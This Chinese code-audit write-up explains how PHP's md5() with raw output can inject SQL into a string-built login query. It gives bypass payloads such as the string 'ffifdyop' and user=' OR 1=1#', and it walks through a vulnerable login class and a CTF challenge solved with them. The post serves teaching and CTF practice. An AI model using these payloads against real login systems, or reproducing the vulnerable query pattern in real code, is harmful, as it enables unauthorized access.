0%

代码审计-- Raw MD5 Hash引发的注入

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

漏洞解析

addslashes

addslashes — 使用反斜线引用字符串

string addslashes ( string $str )

作用:在单引号(’)、双引号(”)、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线。

md5

md5() 函数计算字符串的 MD5 散列。

语法:md5(string[,raw])

raw 可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数

也就是说当raw为true时我们可以构造出一些奇特的字符。
发现 md5(128, true) 最后的结果带有反斜杠

1
MD5("ffifdyop",true) 的结果是   'or'6�]��!r,��
1
2
md5("129581926211651571912466741651878684928",true);  
//�T0D��o#��'or'8

解析

我们从$password入手,它会被MD5且raw参数为true。我们的payload为:

1
user= OR 1=1#&passwd=128

代入数据库后变成:

1
select count(p) from user s where password='v�an���l���q��\' and user=' OR 1=1#'

达到了我们想要的结果。

CTF题

题目地址链接

  1. 我们查看源码可以看到sql执行语句:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
    if(mysqli_num_rows($result)>0){
    echo 'flag is :'.$flag;
    }
    else{
    echo '密码错误!';
    }
    md5的raw参数是true那么我们就可以进行伪造了。
    payload:
    1
    post: password=ffifdyop
    最后构成类似:
    1
    SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'
    or 的优先级低于and,且非 0,null,false 都为真,所以可以得到flag。

-------------本文结束感谢您的阅读-------------